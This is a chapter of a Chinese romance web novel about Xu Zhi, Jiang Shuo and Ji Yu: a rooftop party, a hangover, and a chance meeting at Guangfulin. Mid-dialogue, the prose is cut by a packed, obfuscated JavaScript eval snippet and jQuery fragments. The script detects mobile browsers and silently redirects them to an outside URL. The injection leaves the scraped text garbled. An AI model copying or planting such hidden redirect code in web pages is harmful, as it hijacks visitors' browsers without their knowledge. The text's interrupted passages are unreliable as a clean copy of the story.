26.第二十六章
作品:《想念热情都收敛》 许之的视线在香槟杯上停留了片刻,才缓缓抬眼看向江朔。
江朔眼底的光亮映着自己的影子,还带着些失落和惆怅,温柔又落寞。
“江朔,你说到底什么是爱呢。”
许之轻轻开口,声音带着点沙哑,她晃动着手里的酒杯,浅金色的酒液在杯底打着转。
“小时候我妈妈跟我说,有钱就有爱。”
许之吸了吸鼻子,鼻尖有点泛红。
“所以我真信了。哪怕我在外面受多少委屈也得不到一句关心,哪怕在放假的时候听说同学要回家会偷偷眼红,但只要银行卡里打来的钱还在,我就告诉我自己,爸爸妈妈是爱我的。”
“我骗自己爱原本就是这样,直到乔媛案开庭那天,我在那个仓库里待了好久好久,我好像终于接受了我的爸爸妈妈并不爱我这个事实。”
兴许是酒喝得有点多了,她突然觉得好疲惫,只想找个地方靠一靠。
她轻轻将头搭在了江朔的肩膀上,柔软的发丝蹭过他的衣领。
江朔的肩膀僵了僵,下意识想抬手揽住她,动作却又顿了顿,最终只是保持着原来的姿势。
许之伸手将江朔搭在自己身上的外套又裹紧了些,整个人缩成一小团。
“你说得对,一切都不快乐。”
江朔能感觉到肩窝处传来的细微颤动,他轻轻叹了口气,小心翼翼低下头,用指腹擦去许之眼角掉下的眼泪。
“快乐还是很难。”
又一颗眼泪滑落,砸在江朔的手背上。
“或许我一开始就不应该回来。”
江朔没说话,只是轻轻拍着她的背。
沉默在两人之间蔓延了片刻,许之忽然抬起头。
“我好想念palermo的Tira de asado。”
江朔嘴角轻轻弯了弯。
“好。等事情都处理完,我们就回去吃palermo。”
许之点了点头,对着月亮举起酒杯。
“啪。”
一声清脆的玻璃碎裂声在天台炸开,瞬间让周围的喧闹都安静了下来。
许之和江朔同时朝身后望去,只见不远处的卡座旁,全部人都站了起来。季遇站在中间,衬衫的领口松开两颗扣子,脸上带着几分酒后的潮红。
“怎么喝得酒杯都拿不稳啦~”
季遇身旁穿着粉色礼服的女人语气里带着娇嗔的埋怨,伸手想扶他,季遇顺势搂住她。
他嘴角勾起一抹带着玩味的坏笑。
“那没办法,不胜酒力了,得麻烦你送我回房间了。”
女人脸颊泛红,轻轻在他胸口落下一拳。
两人旁若无人地调笑着,季遇搂着女人的腰,脚步有些晃悠。路过许之的时候,他甚至没有侧头看一眼,仿佛她跟江朔只是无关紧要的背景板。
许之愣愣地看着他们的背影,看着他们并肩走下楼梯的亲昵模样。
江朔将她的反应尽收眼底,他伸手揽住许之的肩膀,稍稍用力将她往自己怀里拽了拽。力道不算大,但此刻江朔只想将她与那些刺眼的画面隔离开来。
许之没有抗拒,额头抵着他的胸口。她闭上眼睛,眼角的泪顺着脸颊接连砸在江朔的西装外套上,晕开一片片痕迹。
酒精在血液里慢慢挥发,许之心里憋了许久的情绪像被泡发的海绵,一点点膨胀。
江朔低头看着许之攥着他衣角,有点发颤的指尖,只觉得喉咙发紧,说不出一句安慰的话。
他把手臂收得更紧,将许之完完全全圈进怀里,轻轻拍着她还在微微颤抖的后背,像在哄一个孩子。
“都过去了。”
江朔的声音贴着许之的耳尖响起。
“你要知道,总有人在爱你。”
季遇是被从窗帘缝隙透出的阳光晃醒的,他抬手揉了揉发胀的太阳穴,又摸了摸乱糟糟的头发。身上的白衬衫已经皱得不成样子,领口还沾着酒渍。
他撑着床头柜坐起身,脚步虚浮地走到窗边,猛地拉开厚重的遮光帘。他下意识眯起眼睛,打了个绵长的哈欠。
宿醉的疲惫还没散去,他拖着脚步往套房的客厅走,想找瓶冰水醒醒神。
“醒了?昨晚睡得好吗?”
客厅的沙发上坐着个女人,穿着一件长长的黑色卫衣,头发梳理得整齐顺滑。
季遇的脑子还没完全清醒,盯着女人看了几秒才反应过来,尴尬地清了清嗓子。
“还行。你还没走?”
“啊~一开口就赶人,好歹陪我吃一顿饭吧~”
季遇正要开口拒绝,女人就像是看穿了他的心思,慢悠悠地补充了一句。
“还没自我介绍吧,我叫梁嘉琪。”
“是张盛冬的表妹。”
张盛冬?季遇的瞳孔一缩,本就发胀的头瞬间更疼了。张盛冬就是他口中的小张总,不仅是他的好友,更是恒盛重点维护的大客户岳麓集团的小少爷。
怎么偏偏是小张总的表妹啊...一股强烈的懊恼瞬间涌了上来,季遇恨不得给自己一巴掌。但既然是小张总的表妹,于情于理他都不能太敷衍。
季遇深吸一口气,压下心里的烦躁,脸上勉强挤出个笑。
“抱歉抱歉,这个点...”季遇抬手看了看表,已经快到吃午餐的点了。
“楼下西餐厅味道还行,我订个靠窗的位置吧。但我得...先收拾一下。”
梁嘉琪看他变脸跟翻书似的,眼底闪过一丝得意,她笑着点头。
“那我就不客气了,我得去房间拿个包,你收拾好了记得来找我~”
“噢对了,我的号码帮你存了~”
梁嘉琪朝他眨了眨眼。
关上门的瞬间,季遇靠在门板上重重叹了口气。宿醉的头痛还在,心里又添了一层麻烦。
“诶江朔,你去过广富林吗?”
许之一只手拿着可颂,另一只手在手机屏幕上滑动。
“听说过,怎么了?想去吗?”
江朔回道。
“来都来了,要不...”
“好啊,我打车。”
广富林藏在松江的绿荫里,是个很特别的地方。
青灰色的仿古建筑依水而建,最具特色的便是它半沉在湖里的水下博物馆,玻璃穹顶映着天光,古代文化与现代设计融合得无比巧妙。
许之和江朔走在石板路上,垂柳拂过水面,她指着远处红柱翘檐的文昌阁絮絮叨叨说着什么,眼底的笑意比阳光还亮。
她总是能把自己修好。
江朔心里想。明明昨晚还是一个小哭包,今天就好像什么都没发生过一样,依旧那么明媚。
两人走进了水下文化展示馆,江朔让许之在原地等会儿,他去买奶茶。
许之正探头看着各式各样的石器,身后不远处传来一道熟悉的男声,她下意识愣了愣。
回过头时,季遇正站在后面,他穿着一身浅灰色的休闲装,没了西装革履的锐利,多了几分漫不经心的少年气。
季遇视线对上许之时,眼神晃了晃,但很快就回过了神,像没认出她一样,迅速移开目光,伸手接过旁边梁嘉琪递过来的包,动作自然地垮在肩上。
许之这才看清他身边的女人,正是昨晚在宴会上,被他搂着回房间的那位。她心里像被什么东西轻轻蛰了一下,面上却依旧保持着平静。
“我去下洗手间。”
梁嘉琪说着,转进了拐角。
季遇迈开脚步走到许之面前,双手插着兜,嘴角勾起一抹笑。
“上海这么大都能在这里遇到,我们是不是太有缘了?”
“说笑了,巧合而已。”
许之浅浅笑了笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580738|185915||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,语气带着明显的疏离。
“我们之间还是保持点距离比较好吧?”
季遇挑了挑眉,额前没有梳上去的刘海也跟着微微动了动。
“保持距离?许教授,我刚刚离你起码有一公里,还是说你嫌一公里也太近了?”
“毕竟你身边已经有人了,不是吗?”
许之往梁嘉琪离开的方向扫了一眼,像是在提醒他,也是在提醒自己。
“江朔还在前面等我,祝你们玩得开心。”
许之朝季遇点了点头,转身离去。
季遇看着许之的背影,忍不住叉着腰在原地转了好几圈,大口大口深呼吸。
明明她也没说什么重话,连语气都算是平和,可那刻意疏离的态度让他气不打一处来。是许之先带着情绪说话,现在倒好了,她一副我只是讲道理的样子,反倒显得他刚才的样子像个小丑。
“你真是...”季遇咬了咬后槽牙,烦躁地跺了跺地板。
许之嘴角还带着浅浅的笑意,刚刚说出那番话的时候,她确实觉得心里痛快了些,可这份痛快也没持续多久。
她想起之前自己无奈地说季遇幼稚,说他总爱用小孩子的方式去较劲,可刚刚的她,不也是在跟季遇较劲吗?
“想什么呢?还笑起来了。”
江朔捧着两杯奶茶走过来,把热的那杯递给了许之。
“我不想喝热的。”
许之瘪瘪嘴。
“但你昨晚喝了很多酒,今天必须喝热的。”
江朔敲了敲她的额头。
“好吧...”
许之满脸不情愿接过了那杯温热的奶茶。
梁嘉琪从厕所出来,远远就看见季遇眉头皱得能夹死蚊子,眼神直勾勾盯着前方,整个人透着一股藏不住的烦躁。她顺着他的视线望去,刚好看到许之的背影。
梁嘉琪心里已经有答案了,她走到季遇身边慢悠悠开口。
“你是不是喜欢那位许教授啊?”
季遇转头看了她一眼,觉得他和梁嘉琪也没有太深的较强,更谈不上什么需要顾忌的,没必要撒谎。
于是他没有犹豫,也没有绕圈子,只是轻轻点了点头。
“是。”
“预料之中。真可惜,你是我喜欢的类型。”梁嘉琪忍不住笑了笑。
“不过也没关系,感情这东西本就讲究你情我愿,既然你心里有人,那我也不会纠缠。”
“抱歉,昨晚...”
季遇刚想道歉,就被梁嘉琪打断了。
“昨晚的事情就别再提了。”
梁嘉琪摆了摆手,语气轻松。
“我知道你昨晚是故意做给她看的。房门锁那么死,生怕我给你吃了。”
梁嘉琪顿了顿。
“不过说真的,你俩好奇怪,她不喜欢你吗?”
“我不知道。”
“这么别扭?”
梁嘉琪指了指许之和江朔的方向。
“再这样不清不楚的可要完蛋了。”
季遇在脑子里好好想了想自己跟许之到底是怎么了。
他是讨厌别人骗他,尤其当这个人是许之的时候,他就更无法接受。但那天吵架时许之说的话,他后来仔细想想,如果换成是他,他也没有更好的选择去处理这件事。所以其实对许之欺骗他这件事,他好像已经释怀了。
他甚至在心里演练过好几次,想着下次见到许之要跟她说对不起,跟她说我们和好吧。可现实却没给他说出口的机会。
他只要一想到许之跟江朔亲近的模样,就嫉妒得快要发疯,但每次和许之说话,他又没办法保持理智,许之随口说的话就足以让他抓狂。
“你别怕我只会在老远里想念了,
但也许你嫌一公里还是太接近呢。”
——《去北极忘记你》

